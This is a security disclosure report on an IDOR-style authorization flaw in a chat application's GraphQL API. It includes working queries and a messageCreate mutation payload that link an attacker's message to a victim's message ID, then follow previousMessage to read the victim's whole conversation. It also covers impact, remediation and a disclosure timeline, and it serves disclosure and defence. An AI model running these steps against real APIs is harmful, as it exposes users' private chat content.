Severity: Medium
Category: A01:2021-Broken Access Control
Status: Fixed
This application had a chat feature where users send and receive messages with a chat bot. Each message and chat has a unique ID. The API was built on GraphQL, which lets clients request exactly the data they need through structured queries and mutations (mutations being the GraphQL equivalent of write operations).
The application correctly prevented users from directly reading each other's messages. If you
tried to fetch someone else's message with a chat bot by ID, you'd get a 404 error. The problem was somewhere
else: a field called previousMessage.connect.id.
When creating a new message, the API allowed you to link it to a previous one using this field. The idea is to maintain conversation threading. But the API never checked whether the message you were linking to actually belonged to you. That single missing check is what made everything below possible.
While exploring the API's mutation fields, I noticed messageCreate accepted a
previousMessage.connect.id input, a way to attach a new message to an existing one.
What caught my attention was that it took a raw ID with no visible ownership check.
The natural question was: what happens if you pass someone else's message ID here?
Two accounts were used: Adam (the attacker) and Eve (the victim).
Logged in as Eve, fetch her chat ID first:
{ chats { id assistant { id access } } }Then pull her messages from that chat:
query Q($c: String!) {
messages(chatId: $c) { id text role userId createdAt }
}Taking note of any msg_* ID from the response.
Logged in as Adam, attempt a direct lookup using Eve's chat and message ID:
query Q($c: String!, $m: String!) {
message(chatId: $c, messageId: $m) { id text }
}Result: 404 access denied. The direct read path is protected, as expected.
Still as Adam, create a new message in his own chat with the chat bot but point previousMessage at Eve's message:
mutation M($c: String, $i: MessageCreateInput!) {
messageCreate(chatId: $c, input: $i) { id chatId }
}{
"c": "<Adam's chat ID>",
"i": {
"text": "x",
"role": "USER",
"previousMessage": { "connect": { "id": "<Eve's message ID>" } }
}
}The API accepted it without complaint and returned a new message ID. At this point, a database-level link between Adam's message and Eve's message now exists with no ownership check in the way.
Using the newly created message as a starting point, Adam can now walk back through the
previousMessage chain and read Eve's entire conversation:
query Q($c: String!, $m: String!) {
message(chatId: $c, messageId: $m) {
previousMessage {
id text chatId userId role createdAt
previousMessage {
id text chatId userId role
previousMessage {
id text chatId userId role
previousMessage { id text chatId userId role }
}
}
}
}
}Result: 200 OK Eve's message content, user ID, role, and timestamps are returned
in full. The read is accepted because Adam's own message is the entry point, and the API
trusts anything reachable from it.
The application enforced authorization at the read level but not at the write level. Blocking a direct fetch of someone else's message is not enough if an attacker can quietly create a link to that message first and then read it indirectly. The two paths need to be protected consistently.
Any authenticated user who could obtain a valid foreign message ID through, enumeration, or prior knowledge could read another user's full chat history. Chat messages can contain sensitive personal, professional, or confidential information.
Before allowing previousMessage.connect.id to be used in a mutation, the API should verify
that the referenced message belongs to the requesting user or to a chat they are authorized
to access. Authorization cannot live only on the read path, it must also cover anything
that creates relationships between resources.
| Date | Event |
|---|---|
| 15 Apr 2026 | Reported |
| 20 Apr 2026 | Vendor confirmed |
| 25 Apr 2026 | Patched |
| 27 Jun 2026 | Publicly disclosed |